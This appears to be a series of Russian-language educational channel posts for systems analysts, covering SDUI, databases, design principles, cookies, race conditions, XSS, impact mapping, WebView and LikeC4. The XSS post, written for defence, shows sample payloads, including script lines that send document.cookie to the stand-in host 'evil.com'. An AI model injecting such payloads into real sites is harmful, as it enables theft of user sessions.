Системный Аналитик

Что делать если все скиллы обесценятся через пару лет? Раньше аналитику хватало умения писать пользовательские сценарии и собирать шаблонное ТЗ. Сегодня простые задачи забирает ИИ, а требования к спецам растут каждый месяц Мы прошерстили рынок и выделили главный навык, который лишь растет в актуальности на фоне событий - АРХИТЕКТУРА. Но глубоко разбираться в ней хотят далеко не все А ведь именно эти знания дают: — Понимание, как устроены микросервисы, REST API и Kafka — Уверенность на технических собеседованиях и выход на архитектурный чек — Защиту от сбоев на проде из-за ошибок в логике — Быстрый рост от СА/БА до фуллстек и арх-уровня Приходи 13 августа в 19:00 (МСК) на бесплатный онлайн-практикум «Архитектура без кода: как стать аналитиком, которого слушают разработчики и бизнес» Разберем связку сервисов, базы данных и построение сценариев на чистом инженерном мышлении. Веб будет полезен джунам и мидлам в аналитике (СА, БА, дата- и фуллстек), а также QA, специалистам поддержки и разработчикам. Регистрируйся по ссылке Erid: 2SDnjeTZDxf Название: ООО "СТЕП БАЙ СТЕП" ИНН: 0800013217

🔼 Server Driven UI (SDUI) Server Driven UI (SDUI) — архитектурный подход, при котором сервер определяет не только данные, но и структуру пользовательского интерфейса (какие компоненты, в каком порядке и с какими параметрами отрисовать на клиенте) 🍃В обычном приложении клиент «знает», как показать экран 🍃В SDUI клиент превращается в «движок рендеринга» — он просто отрисовывает то, что пришло с сервера в виде декларативного описания (обычно JSON) Подход также называют BDUI (Backend-Driven UI) ⭕️В традиционной (client-driven) модели сервер отдаёт только данные, а клиент решает, как их показать: Сервер ➡️ отправляет данные ({"price": 1990, "currency": "RUB"}) Клиент ➡️ знает, как отобразить эти данные на конкретной платформе 🟠В SDUI сервер отдаёт описание интерфейса: Сервер ➡️ отправляет компоненты и их свойства ({"type": "price_label", "props": {"text": "1 990 ₽"}}) Клиент ➡️ по описанию собирает экран из готовых нативных компонентов ❗️Ключевое отличие: логика «что и где показать» переезжает с клиента на сервер Как работает Система состоит из трёх частей: 1⃣ UI-кит (компонентная база) — набор реализованных на каждой платформе нативных компонентов (кнопка, карточка, баннер, список). Это «общий язык» между сервером и клиентом. 2⃣ Движок рендеринга — клиентский механизм, который по описанию из JSON собирает экран: находит нужный компонент в UI-ките и передаёт ему свойства. 3⃣ Контракт (директивы) — описание экрана, которое сервер отдаёт клиенту. Типовой поток 1. На сервере формируется описание экрана (какие компоненты, порядок, свойства, действия). 2. Клиент запрашивает конфигурацию и получает JSON 3. Движок рендеринга разбирает JSON, по type находит компоненты в реестре и отрисовывает их 4. Пользователь взаимодействует (например, нажимает кнопку) — клиент выполняет действие (action), пришедшее вместе с компонентом 5. Нужно поменять экран — правка конфигурации на сервере, при следующем открытии приложения пользователи видят новый UI без обновления из стора Принципы SDUI ⭕️ Начинать с экрана, а не с данных. API проектируется под то, что нужно показать, а не под структуру БД (demand-driven подход). ⭕️ Минимум логики на клиенте. Любой if/else про «что показать» — кандидат на переезд на сервер. Иначе логика дублируется на каждой платформе. ⭕️ Отдавать продуктную информацию, а не доменные данные. Вместо price: 1990 + currency сервер сразу отдаёт готовую строку "1 990 ₽". Форматирование, локализация, скругления — на сервере. ⭕️ Единая дизайн-система. Все клиенты используют общий UI-кит, тогда серверная инструкция «отрисуй primary-кнопку» даст одинаковый результат везде. ⭕️ Внедрять инкрементально. Не переписывать всё приложение сразу, а начать с одного экрана или компонента (например, баннера на главной). Плюсы и минусы ✅ мгновенные обновления UI — без релизов в сторах и ожидания обновления у пользователей ✅ кроссплатформенность из коробки — один JSON рендерится на iOS, Android, Web ✅ простой A/B-тестинг и персонализация — разный UI разным сегментам одним изменением на сервере ✅ единообразие платформ — все клиенты синхронны, расхождений почти нет ✅ снижение нагрузки на мобильную разработку — фронт не верстает каждый экран с нуля ➖ без интернета UI не загрузится; нужны кэширование и фолбэки, иначе пустые экраны ➖ сложность старта — нужен UI-кит, движок рендеринга и серверная часть под это ➖ двойная поддержка компонентов — компоненты живут и на клиенте (реализация), и на сервере (описание) ➖сложнее отладка — труднее понять, почему экран выглядит именно так (собрался динамически) ➖ риск «зашить» бизнес-логику в UI — границы между слоями легко размыть Где используется Когда много платформ, а интерфейс меняется часто и под разные сегменты пользователей: 🟠 Travel- и маркетплейс-платформы — быстрые итерации UI в разделах с динамическим контентом 🟠 соцсети и стриминговые сервисы — мгновенный rollout изменений и экспериментов 🟠 e-commerce и маркетплейсы — разные раскладки витрин для разных продавцов (например, блок «Бестселлеры» только для крупных магазинов) 🟠когда нужно обновлять интерфейс с сервера, не зависеть от сторов 📎 Материалы 1. Чем полезен Server Driven UI 2. Яндекс выпускает DivKit — фреймворк для server-driven UI с открытым кодом 3. Server Driven UI в Альфа-Банке 4. Server-Driven UI архитектура: server-driven vs content-driven 5. Как работает Server-Driven UI и зачем он фронтендеру #архитектура ➿➿➿➿➿➿➿➿➿➿ 🧑‍🎓 Более поробное сравнение в базе знаний по системному анализу

📊 Сравнение Баз данных и Хранилищ данных ▫️База данных – оперативное хранилище, где содержится "текущее состояние" бизнес-процессов: активные заказы, остатки на складе, профили пользователей и тд ▫️ OLTP (Online Transaction Processing) — обработка транзакций онлайн, способ эксплуатации этой базы 💙Хранилище данных (DWH)— информационная система, в которой хранятся данные из разных источников. Используется для анализа, составления отчетов и интеграции данных транзакций. 💙OLAP (Online Analytical Processing) —  способ доступа и анализа этих данных 🔹 Наши посты ▫️Основные понятия баз данных ▫️Нормальные формы баз данных ▫️Типы связей в БД. Нормализация ▫️Денормализация в БД ▫️Колоночные БД, Cassandra vs PostreSQL ▫️Требования ACID: Краткий обзор ▫️Масштабирование БД. Партиционирование, шардирование и репликация ▫️Требования ACID: Краткий обзор 💙Data Warehouse (DWH) 💙OLTP и OLAP #инфраструктура #бд ➿➿➿➿➿➿➿➿➿➿ 🧑‍🎓 Более поробное сравнение в базе знаний по системному анализу

✏️ Принципы разработки KISS, Бритва Оккама, SSOT, DRY, YAGNI, SOLID Зачем нужны Инженерные принципы это не строгие правила, а ориентир Помогают: 🔸 уменьшать стоимость изменений 🔸 снижать количество ошибок 🔸 упрощать сопровождение 🔸 делать требования понятнее 🔸 избегать избыточных решений 💡 Для системного аналитика принципы служат фильтром при сборе требований, позволяют снизить затраты ещё до написания кода KISS (Keep It Simple, Stupid) Решение должно быть максимально простым Чем сложнее система, тем дороже изменения, тестирование и поддержка KISS не означает примитивные решения ✅ А отказ от ненужного усложнения Как применять СА 🔵не добавлять лишние сущности и процессы 🔵избегать универсальных решений без необходимости 🔵описывать требования максимально понятно 🔵сокращать количество исключений и специальных сценариев Пример ❌ Спроектировать универсальный механизм уведомлений с 15 каналами доставки, шаблонизацией и правилами маршрутизации ✔️ Сначала реализовать email и push-уведомления, если нужны бизнесу ❌ Описывать 15 вариантов исключений для одного процесса ✔️ Описать общее правило обработки ошибок (fallback), покрывающее 95 % случае Признаки нарушения KISS ▪️слишком много сущностей ▪️чрезмерная параметризация ▪️большое количество условий и исключений ▪️ сложность объяснения решения Бритва Оккама Не надо умножать сущности без необходимости Если два решения равнозначно покрывают требования, выбирается то, у которого меньше сущностей и допущений Отличие от KISS 🔸KISS говорит «делай просто» 🔸Бритва Оккама — «выбирай простое среди равных» Примеры для СА 🟠Есть проблема производительности. Необязательно сразу проектировать новый сервис или менять архитектуру. Возможно, достаточно оптимизировать запрос или индекс 🟠При выборе интеграции: если данные можно получить через REST-агрегацию, не стоит предлагать внедрение ESB или CDC только из соображений «это современно». SSOT (Single Source of Truth) Для каждой информации должен существовать один источник истины Если одинаковые данные существуют в нескольких местах, со временем они начинают расходиться Где применяется 🔵требования 🔵схемы данных 🔵справочники 🔵бизнес-правила 🔵интеграционные контракты Примеры в СА 🔵создавать единый глоссарий; в тексте требований использовать ссылки на термины, а не их определения 🔵справочные данные (списки валют, стран) выносить в общий раздел и ссылаться на него 🔵маппинг полей между системами хранить в едином файле (Swagger/OpenAPI или отдельной таблице), а не дублировать в сценариях ❌ Пример нарушения: правило «комиссия для клиентов из ЕС = 20 %» прописано в ТЗ, в UI-макете, в описании интеграции и в тест-кейсах. При изменении ставки до 22 % три источника не обновляются → баг на релизе DRY (Don’t Repeat Yourself) Не повторять знания, логику или описание без необходимости Дублирование приводит к изменениям во многих местах одновременно: 🟠одинаковые бизнес-правила 🟠повторяющиеся требования 🟠копирование схем данных 🟠одинаковая логика в нескольких процессах и тд Примеры для СА 🔸одинаковые структуры API вручную описываются в нескольких документах Лучше использовать единое описание и переиспользовать его 🔸в Use Cases применять include-сценарии для повторяющихся процедур (например, аутентификация описывается один раз) Когда дублирование допустимо Ради производительности (денормализация БД) или изоляции микросервисов (копирование DTO), но такое решение должно быть явно зафиксировано как исключение ❗️DRY не должен создавать избыточную сложность Отличие DRY от SSOT 🔸SSOT — про данные: одна сущность (справочник, атрибут, значение) хранится в одном месте. «где лежит истина?» (хранение) 🔸DRY — про логику: один алгоритм, правило или описание процесса не повторяется в разных местах. «где выполняется действие?» (поведение) YAGNI (You Aren’t Gonna Need It) Не создавать функциональность заранее Если функция не нужна сейчас — вероятно, её не нужно делать сейчас Примеры для СА 🔵 вместо проектирования 20 возможных статусов процесса «на будущее» лучше реализовать только реально используемые статусы. 🔵на этапе уточнения задавать вопрос: «Если не сделать это сейчас, сможет ли бизнес работать?» Если да — требование переносится в бэклог. ❌ Типичная ошибка: путать гибкость системы и проектирование гипотетических сценариев SOLID SOLID — набор принципов проектирования, направленных на создание изменяемых и поддерживаемых решений Интерпретация для СА 🔸SRP (Single Responsibility) Требование должно иметь одну причину для изменения. Не следует смешивать в одном разделе расчёт зарплаты и отправку уведомлений — их нужно разделять 🔸 OCP (Open/Closed) В требованиях новый сценарий должен дополнять, а не переписывать старый. Вместо «если тип A, то скидка 10 %» лучше описать механизм правил, где для типа A задаётся правило, а для типа B можно добавить новое правило 🔸 LSP (Liskov Substitution) Если в требованиях есть родительская роль («Клиент»), то её подтип («VIP-клиент») не должен нарушать предусловия системы (например, не требовать обязательный номер телефона, если у VIP его нет) 🔸 ISP (Interface Segregation) Лучше иметь несколько специализированных эндпоинтов, чем один универсальный с множеством обязательных полей 🔸 DIP (Dependency Inversion) Требования к модулям верхнего уровня не должны зависеть от деталей нижнего уровня. Вместо «сохранять в таблицу Oracle INSERT'ом» следует писать «система сохраняет данные» — абстрагироваться от реализации ❗️SOLID помогает управлять сложностью, но избыточное применение может привести к переусложнению 📎 Материалы 1. Принципы для разработки: KISS, DRY, YAGNI, BDUF, SOLID, APO и бритва Оккама 2. Принципы разработки в системном анализе 3. 5 принципов читаемого кода: KISS, YAGNI, DRY, BDUF и Бритва Оккама 4. SOLID, DRY, KISS, YAGNI и др. принципы разработки, пугающие новичка в IT #проектирование ➿➿➿➿➿➿➿➿➿➿ 🧑‍🎓 Больше полезного в базе знаний по системному анализу

Ретроспектива в Agile Проверенные методы и инновационные подходы ✍️ Автор: Марк Лоффлер 🗓 Год издания: 2020 🔤 Язык: русский 📚 Объём: 176 стр. Книга представляет систематизированное руководство по проведению Agile-ретроспектив. Рассматриваются 💙базовые принципы ретроспектив 💙этапы подготовки и проведения 💙а также роль фасилитатора. Описаны расширенные подходы, включая системные, распределённые и ориентированные на решение ретроспективы, а также альтернативные форматы. Отдельное внимание уделено типичным ошибкам. Даны практические рекомендации и кейсы для повышения эффективности командной работы. Книга для скрам-мастеров, agile-коучей и руководителей проектов 🔹 Agile и Waterfall: главное о методологиях разработки ПО #agile #управление_проектами

🖥 Cookie-файлы Cookie — небольшие данные, которые сайт сохраняет в браузере пользователя и использует при последующих запросах ⏩ Cookie — как номерок в гардеробе. Гардеробщик не запоминает лично, а выдает номерок, по которому находит вещи ⏩ Работают схоже: браузер хранит идентификатор, а сервер по нему понимает, кто выполняет запрос Протокол HTTP — stateless (не хранит состояние). Каждый запрос сам по себе не знает ничего о предыдущем. Поэтому без cookie серверу сложно понимать: 🟡кто авторизован 🟡что лежит в корзине 🟡какие настройки выбрал пользователь 🟡выполнял ли пользователь действия ранее Как работают по шагам 1. пользователь открывает сайт 2. сервер отправляет браузеру заголовок Set-Cookie 3. браузер сохраняет данные 4. при следующих запросах браузер автоматически добавляет заголовок Cookie 5. сервер использует полученное значение Важно: 🟡cookie хранятся на стороне клиента 🟡браузер сам управляет отправкой cookie 🟡cookie привязаны к доменам и правилам доступа 🟡срок хранения может быть ограничен Жизненный цикл Создание ➡ сохранение в браузере ➡ использование в запросах ➡ обновление ➡ удаление или истечение срока действия Cookie могут удаляться: ⭕пользователем вручную ⭕браузером ⭕сервером ⭕после окончания срока действия Для чего используются ⏩ Авторизация и сессии После входа сервер выдает идентификатор сессии. Благодаря этому пользователь не авторизуется заново на каждой странице ⏩ Персонализация Cookie позволяют сохранять ⭕язык интерфейса ⭕тему оформления ⭕настройки отображения ⭕регион и тд ⏩ Корзины интернет-магазинов Позволяют хранить связь между пользователем и выбранными товарами ⏩ Аналитика Для: ⭕подсчета посетителей ⭕отслеживания поведения ⭕измерения конверсий ⭕анализа пользовательских путей ⏩ Реклама и маркетинг ⭕помогают показывать релевантную рекламу ⭕ограничивать частоту показов ⭕строить аудитории ⏩ A/B-тестирование Позволяют закреплять пользователя за вариантом эксперимента Виды Cookie ⬆ First-party Cookie (собственные) Создаются сайтом, который пользователь открыл Примеры: ⭕авторизация ⭕корзина ⭕пользовательские настройки ⬇Third-party Cookie (сторонние) Создаются сторонними доменами Примеры: ⭕рекламные сети ⭕аналитические сервисы ⭕виджеты Сторонние Cookie ограничивают из-за приватности ✖ Проблемы: ➖межсайтовое отслеживание ➖сбор пользовательских профилей ➖непрозрачность обработки данных Влияние на интеграции ⏩ SSO (Single Sign-On) После единого входа пользователь получает cookie сессии Что учитывать: 📍домены и поддомены должны быть настроены корректно 📍срок жизни cookie влияет на длительность авторизации 📍ограничения SameSite могут нарушить сценарий входа между системами ⏩ API Браузер может автоматически отправлять cookie вместе с запросами Что учитывать: 📍корректная настройка CORS 📍для кросс-доменных запросов необходимо учитывать SameSite и Secure 📍часть API вместо cookie использует JWT-токены 📎 Материалы 1. Что такое Cookie и зачем они нужны 2. Ультимативный гайд по HTTP. Cookies и CORS 3. Что такое cookie? 4. Что такое cookie и для чего они нужны 5. Перевод Всё о файлах cookie и их безопасности #проектирование ➿➿➿➿➿➿➿➿ 🧑‍🎓 Больше полезного в базе знаний по системному анализу

🔽 Гонка событий (Race Condition) Гонка событий — ситуация, при которой результат работы системы зависит от порядка выполнения операций Если несколько процессов одновременно работают с одним состоянием, итог может быть непредсказуемым Может возникать в: 🟢микросервисах 🟢распределённых системах 🟢очередях сообщений 🟢асинхронных API 🟢frontend-приложениях 🟢потоковой обработке данных 🍃Сложность гонки событий: проблема проявляется нестабильно Система может работать корректно, а затем случайно выдать ошибку Когда возникает ⚪️несколько процессов работают с одним состоянием ( одновременно читают и изменяют) ⚪️хотя бы один процесс изменяет данные ⚪️порядок выполнения не контролируется ⚪️нарушение порядка доставки (события отправляются в одном порядке, а доставляются — в другом) ⚪️отсутствие координации между сервисами (каждый сервис видит только локальное состояние) ⚪️deadlock (несколько транзакций блокируют друг друга) Типичные признаки ➖«плавающие» баги ➖редкие ошибки ➖невозможность стабильно воспроизвести проблему ➖случайные дубли ➖потеря части данных ➖периодическая рассинхронизация Причины 🍃сетевые задержки 🍃ретраи 🍃повторная доставка сообщений 🍃независимая работа сервисов 🍃параллельные консьюмеры 🍃различная скорость обработки Гонка всегда связана с принципом: ❕корректность системы зависит от последовательности событий Если изменение порядка приводит к разному результату — система подвержена гонке Backend и микросервисы Частый источник гонок — параллельные запросы к одному ресурсу Например: ✨несколько сервисов обновляют один заказ ✨несколько обработчиков меняют баланс ✨несколько консьюмеров читают одну очередь Базы данных При использовании транзакций гонка не исчезает Проблемы: ➖Lost Update (когда изменения одного процесса перезаписываются изменениями другого, и часть данных теряется) ➖dirty read (чтение данных, которые были изменены другой транзакцией, но ещё не зафиксированы ) ➖ non-repeatable read (повторное чтение одной и той же записи внутри транзакции возвращает разные значения, потому что другая транзакция изменила данные) ➖перезапись изменений Брокеры сообщений Не гарантируют отсутствие гонок Создают условия, при которых она возникает Проблемы: ⚪️задвоенные события 🤩 дважды изменится состояние ⚪️доставка не по очереди 🤩 итоговое состояние зависит от порядка ⚪️повторная доставка🤩 перезапишется состояние ⚪️параллельные консьюмеры 🤩 если работают с одим ресурсом, то есть риски гонки Распределенные системы В распределённых системах гонка — нормальное состояние среды Причины: 🟢eventual consistency (изменения не применяются на всех серверах мгновенно) 🟢независимые сервисы 🟢сетевые лаги 🟢разные каналы доставки 🟢репликация Примеры Микросервисы с общей БД ➖сервис заказов и сервис оплаты работают с одной таблицей ➖сервис оплаты меняет статус заказа ➖сервис заказов одновременно обновляет адрес доставки Оба сервиса: 1. читают одну запись 2. меняют локальную копию 3. сохраняют объект полностью. Последний UPDATE уничтожает изменения другого сервиса Как решать ✨обновлять только нужные поля ✨использовать оптимистическую блокировку ✨отказаться от общей БД Event-driven архитектура Сервис публикует: ➖OrderCreated ➖OrderCancelled Потребитель получает их в обратном порядке Клиент сначала получает письмо: «Заказ отменён» А затем: «Заказ успешно создан» Как решать ✨партицирование по orderId ✨версионирование событий ✨occurredAt timestamp 📎 Материалы 1. Небезопасная многопоточность или Race Condition 2. Что такое состояние гонки 3. Почему стоит проверять приложения на устойчивость к race condition 4. Разница между Data Race и Race Condition 📚 Книги 1. Высоконагруженные приложения - Мартин Клеппман 2. Микросервисы. Паттерны разработки и рефакторинга - Крис Ричардсон 3. Шаблоны корпоративных приложений - Мартин Фаулер 4. Release it! Проектирование и дизайн ПО для тех, кому не всё равно - Майкл Нейгард #проектирование ➿➿➿➿➿➿➿➿ 🧑‍🎓 Больше полезного в базе знаний по системному анализу

🛡 XSS-уязвимость XSS (Cross‑Site Scripting) — атака, при которой злоумышленник внедряет в веб‑страницу вредоносный код (обычно на JavaScript). Код выполняется в браузере другого пользователя (жертвы) ➡️ хакер находит место, куда можно «подложить» свой скрипт, когда жертва открывает страницу — скрипт крадёт её данные, подменяет содержимое или выполняет действия от её имени На этапе проектирования требований можно: ⏺создать условие для уязвимости (например, разрешить любые символы в поле комментария) ✅ предотвратить её (чётко указать, какие символы и разметка допустимы) Как работает XSS 1⃣ Злоумышленник находит поле ввода (поиск, комментирование, имя профиля) 2⃣ Вводит туда вредоносную строку, например:  <script>alert('Ваши куки: ' + document.cookie)</script> 3⃣ Приложение сохраняет или сразу выводит эту строку без обработки 5⃣ Пользователь открывает страницу ➡️ его браузер видит эту строку как настоящий HTML код ➡️выполняет её 5⃣ Злоумышленник получает нужные данные (например, куки сессии) и может войти под учётной записью жертвы ❗️Ключевое условие: приложение показывает пользовательские данные как будто это безопасный код страницы, а не обычный текст Типы XSS ⭕️Хранимая (Stored XSS) — самая опасная Скрипт сохраняется на сервере (в базе, в файле) и отображается всем, кто заходит на страницу ➡️ Пример Форма отзывов. Хакер пишет отзыв: > Классный товар! <script>new Image().src='https://evil.com/steal?c='+document.cookie</script> Если не обработан текст, каждый посетитель страницы отзывов отправит свои куки на сервер злоумышленника.ю ✅ Защита ✨в требованиях к полю, которое будет отображаться у других пользователей,  прописывать ограничения ✨если HTML нужен — описывать белый список тегов (только <b>, <i>, <a> с проверенными ссылками) ⭕️Отражённая (Reflected XSS) Скрипт не сохраняется, а «отражается» в ответе сервера. Жертву нужно заставить перейти по специальной ссылке. ➡️ Пример Сайт показывает  поисковый запрос: «Вы искали: запрос».  Хакер отправляет жертве ссылку:  https://site.com/search?q=<script>alert(1)</script>  Жертва кликает ➡️ скрипт выполняется ✅ Защита В требованиях запрещать отображать непроверенные параметры URL или заголовков прямо в HTML. Даже для сообщений об ошибке ⭕️DOM‑based XSS (без участия сервера) Скрипт появляется из‑за уязвимого JavaScript-кода на самой странице, который берёт данные из адресной строки (хеша, параметров) и вставляет в HTML ➡️ Пример (уязвимый код на странице): document.getElementById('message').innerHTML = location.hash.substring(1) Хакерская ссылка:  https://site.com/<img src=x onerror=alert(1)> Браузер не отправляет хеш на сервер, но на странице выполняется вредоносный код ✅ Защита В клиентских скриптах не использовать innerHTML с пользовательскими данными, Применять безопасные методы (textContent, setAttribute) ⭕️Слепая XSS (Blind XSS) Скрипт хранится на сервере, но срабатывает там, где хакер не видит результат — в админ‑панели, в интерфейсе оператора ➡️ Пример Форма обратной связи. Поле «Имя»: <script>fetch('https://evil.com?cookie='+document.cookie)</script>  Сам клиент видит своё имя без проблем (экранирование на публичной части есть) Но оператор в админ‑панели смотрит все заявки — и там экранирования нет. Скрипт ворует сессию оператора ✅ Защита Требования к экранированию должны быть одинаковыми для всех интерфейсов, включая внутренние. 📎 Материалы 1. Что такое XSS-атака и как с ней бороться 2. XSS: нападение и защита 3. Что такое XSS-уязвимости и как защититься  с помощью Content Security Policy 4. Примеры атак XSS и способов их ослабления 5. XSS-атака без секретов: от простого alert до захвата сессии 📚 Книги Грокаем безопасность веб-приложения - Макдональд Малькольм #безопасность ➿➿➿➿➿➿➿➿ 🧑‍🎓 Больше полезного в базе знаний по системному анализу

⌛ Impact mapping Impact mapping — техника планирования, которая помогает связать требования с бизнес-результатом Результат — визуальная карта, отвечает на вопросы по порядку: 1. Зачем это делаем? (Цель) 2. Кто может помочь или помешать? (Актор) 3. Как должно измениться их поведение? (Влияние) 4. Что можем создать, чтобы вызвать это изменение? (Результат) 💡 Не строятся функции. Меняется поведение акторов для достижения цели Какую проблему решает Часто требования формируются как список функций Это приводит к проблемам: ⚪️нет связи между функциями и бизнес-целями ⚪️бэклог переполнен ⚪️приоритеты определяются субъективно ⚪️команда становится “feature factory” Традиционные артефакты (user stories, use cases): ➖описывают что сделать ➖но не требуют объяснения зачем Impact Mapping вводит причинно-следственную модель: цель ➡️ акторы ➡️ изменения поведения ➡️ решения И обратную проверку: решение ➡️ влияние ➡️ актор ➡️ цель Если цепочка не работает в обе стороны — элемент не нужен Основные элементы Всегда 4 уровня. Без исключений. 🟧 Цель Не “что улучшить”, а “какой результат получить” Пример 🟧 Улучшить UX 🟧 Увеличить конверсию с 2% до 3% за 3 месяца 🟧 без метрики невозможно понять, работает ли решение 🟧 Акторы Это люди или группы, которые могут повлиять на цель Могут помогать или мешать НЕ системные компоненты. Это не БД и не API. Это роли с поведением. Примеры акторов 🟧гостевой пользователь (без аккаунта) 🟧авторизованный премиум-подписчик 🟧агент поддержки 🟧 Система оплаты 🟧 Пользователь, Оператор поддержки 🟧 Влияния Это изменение поведения актора НЕ функция и НЕ действие системы Пример Функция: “Показывать всплывающее окно со скидкой”. Влияние: “Гостевой пользователь завершает оформление заказа вместо ухода”. Влияние должно быть наблюдаемым Если невозможно измерить, изменилось ли поведение, это не влияние 🟧 Результаты То, что создаёт команда: функции, истории, задачи, API, UI-компоненты, отчёты Результат попадает на карту, только если напрямую поддерживает влияние 🟧 несколько результатов могут поддерживать одно влияние 🟧 а один результат - несколько влияний Если сделать X → поведение изменится 🟧искать минимальное решение для проверки гипотезы Пример Цель: Увеличить долю повторных покупок с 30% до 45% к 31 дек │ ├── Актор: Авторизованный клиент │ ├── Влияние: Возвращается на сайт в течение 7 дней без напоминания │ │ ├── Результат: Персонализированная главная с недавно просмотренными товарами │ │ └── Результат: Сохранение корзины между сессиями с визуальным индикатором │ └── Влияние: Добавляет товары в корзину быстрее, чем в прошлый раз │ └── Результат: Повторный заказ в один клик из истории заказов │ ├── Актор: Покупатель впервые │ └── Влияние: Создаёт аккаунт после покупки (а не до) │ └── Результат: Предложение создать аккаунт после оформления заказа (без принудительного входа) │ └── Актор: Агент поддержки └── Влияние: Решает проблемы с аккаунтом без эскалации в инженерию └── Результат: Самостоятельный сброс пароля с SMS-подтверждением Когда использовать 🤩исследование нового продукта 🤩разработка функции для нескольких спринтов. Impact mapping гарантирует, что каждая часть связана с изменением поведения 🤩кросс-функциональная работа с участием продакта, инженерии, маркетинга, продаж. Карта создаёт общий язык 🤩планирование Прежде чем заполнять бэклог, создать impact-карты для каждой цели Затем извлечь функции из карт 🤩много функций, но нет бизнес-результатов Не стоит использовать ➖исправление багов ➖задачи только ради соответствия требованиям (compliance), изменения поведения нет ➖уже есть подобные инструменты ➖инфраструктурная работа (обновление БД, миграция серверов) 📎 Материалы 1. Impact Mapping на практике 2. Как создать работающий Impact Map 3. Impact Mapping на практике 4. Сайт книги от создателя подхода "Impact mapping: Как повысить эффективность программных продуктов и проектов по их разработке | Аджич Гойко" #требования ➿➿➿➿➿➿➿➿ 🧑‍🎓 Больше полезного в базе знаний по системному анализу

🌐 Web as Native WebView и Web as Native WebView —  встроенный в мобильное приложение компонент, который отображает веб-страницы (HTML, CSS, JavaScript) внутри приложения Важно: 🔹 это не отдельное приложение (не Chrome/Safari) 🔹он управляется нативным кодом 🔹 пользователь не видит, что это веб Web as Native —  подход, при котором веб-интерфейс используется как мобильное приложение Web —  интерфейс и часть логики 🔸рисует UI 🔸обрабатывает пользовательские сценарии Native —  оболочка (контейнер) 🔸открывает экраны 🔸управляет WebView 🔸даёт доступ к функциям устройства WebView —  инструмент Web as Native —  архитектурный подход Большинство «Web as native»-реализаций используют WebView как основной инструмент Как работает WebView 1. приложение создаёт WebView 2. передаёт URL 3. WebView загружает страницу 4. отрисовывает интерфейс 5. пользователь взаимодействует с ним Если нужен доступ к устройству — используется bridge (API между Web и Native внутри приложения) Пример архитектуры Пользователь      ↓ Мобильное приложение      ↓   WebView      ↓ Web Frontend      ↓ Backend API WebView — только “контейнер”,  вся логика чаще всего в вебе Способы открытия WebView ➡️ Прямое открытие экрана Самый простой вариант: пользователь нажал → открылся экран с WebView Минус: видна загрузка (белый экран), что создаёт ощущение “медленного” приложения ➡️ Предзагрузка Приложение: 🔹создаёт WebView заранее 🔹загружает страницу в фоне → пользователь открывает — страница уже готова → улучшает perceived performance (ощущаемую скорость) ➡️ Skeleton / Loader Пока WebView загружается показывается нативный placeholder или skeleton UI → создаёт ощущение скорости, даже если фактическая загрузка не изменилась ➡️ Кэширование 🔹WebView использует кэш 🔹можно хранить статические ресурсы → ускоряет повторное открытие и снижает нагрузку на сеть ➡️ Гибридный экран (частично native) 🔹шапка и кнопки — нативные 🔹контент — WebView → снижает ощущение “веба” и улучшает UX за счёт нативных элементов Где используется WebView 🔸статьи и контент 🔸 личные кабинеты 🔸формы и платежи 🔸 fallback-экраны Пример: маркетплейс Почему WebView ➖ UI часто меняется → веб позволяет обновлять без релиза приложения ➖ маркетинг управляет страницами → не требует участия мобильной команды ➖ важно быстро выкатывать изменения → веб быстрее в доставке Web: 🔹 каталог 🔹 карточка товара → высокая изменяемость, много UI-логики Native: 🔹оплата 🔹push 🔹доступ к устройству → критичные функции, требующие безопасности и интеграций Сценарий: покупка 1. User → Web: нажимает "Купить" 2. Web → Native: startPayment 3. Native → Backend: выполняет запрос 4. Native → Web: возвращает результат Безопасность Риски: 🔸XSS уязвимость    → вредоносный JS может вызвать нативные методы через bridge 🔸загрузка чужих URL    → можно отобразить фишинговую или вредоносную страницу 🔸доступ к cookies    → возможна утечка пользовательских данных ❗️Главная зона риска — взаимодействие между Web и Native, здесь веб получает доступ к возможностям устройства Плюсы и минусы ➕ быстро → можно использовать уже готовый веб и не писать UI с нуля ➕ дёшево → меньше затрат на разработку и поддержку двух платформ ➕ единый код → изменения делаются в одном месте и сразу доступны всем ➖ медленнее → из-за дополнительного слоя (браузерный движок + рендеринг)  ➖ хуже UX → веб-интерфейс уступает нативному по отзывчивости и плавности  ➖ зависимость от сети → без интернета приложение может частично или полностью не работать 📎 Материалы 1. Из браузера — в приложение: внутренняя кухня WebView 2. От Web к Native с React 3. ОМП рассказала о новых возможностях WebView в ОС «Аврора» 4. WebView: забыть нельзя интегрировать #веб ➿➿➿➿➿➿➿➿ 🧑‍🎓 Больше полезного в базе знаний по системному анализу

👍 LikeC4 LikeC4 — open-source инструмент моделирования архитектуры в нотации C4 Используется подход Architecture as Code — архитектура системы описывается на простом декларативном языке (DSL) Выполняет задачи: 💙 хранение архитектурной модели системы в репозитории 💙 авто-генерация диаграмм при изменении модели Это помогает поддерживать архитектурную документацию в актуальном состоянии LikeC4 позволяет описывать элементы архитектуры: 💙системы 💙контейнеры 💙компоненты 💙связи между ними На основе этого описания автоматически создаются архитектурные диаграммы Как работает? Описывается архитектура в двух блоках: 🟡модель (Model): определение сущностей (люди, системы, контейнеры) и связей между ними 🟡представления (Views): описание того, какие диаграммы нужно сгенерировать из модели По шагам 1️⃣Архитектура системы описывается с помощью DSL-языка. Описание включает: ➖ участников системы ➖сервисы, БД ➖взаимодействия между ними 2️⃣LikeC4 анализирует DSL-описание и формирует архитектурную модель системы, которая содержит: 🟣элементы архитектуры 🟣связи между ними 🟣структуру системы 3️⃣ На основе модели автоматически создаются архитектурные диаграммы: ➖контекст системы ➖контейнерная архитектура ➖компонентная структура ❗️Если архитектура системы изменяется, меняется DSL-описание. Все диаграммы автоматически обновляются Нет дублирования данных Пример описания архитектуры (через DSL) Упрощенная модель веб-приложения: model { user = person "User" system webApp "Web Application" { container frontend "Frontend" container backend "Backend" container database "Database" } user -> webApp.frontend "uses" webApp.frontend -> webApp.backend "API" webApp.backend -> webApp.database "reads/writes" } В этом примере: 💙определён пользователь системы 💙описана система Web Application 💙указаны контейнеры системы 💙заданы связи между элементами Пример описания представления (Views) views { view container webApp { title "Web Application Containers" include } } Этот блок определяет, какую диаграмму нужно построить из архитектурной модели В данном случае генерируется контейнерная диаграмма системы Плюсы и минусы ➖архитектурная модель - часть исходного кода проекта ➖диаграммы всегда соответствуют архитектурной модели ➖напрямую использует принципы модели C4, упрощает архитектурное моделирование ➖подходит для сложных систем, удобен для микросервисных архитектур, распределённых систем, крупных платформенных решений ➖необходимо знать синтаксис DSL ➖диаграммы нельзя редактировать напрямую мышью, только через код ➖относительно новая технология, мало примеров использования, обучающих материалов, меньше интеграций. ➖только диаграммы 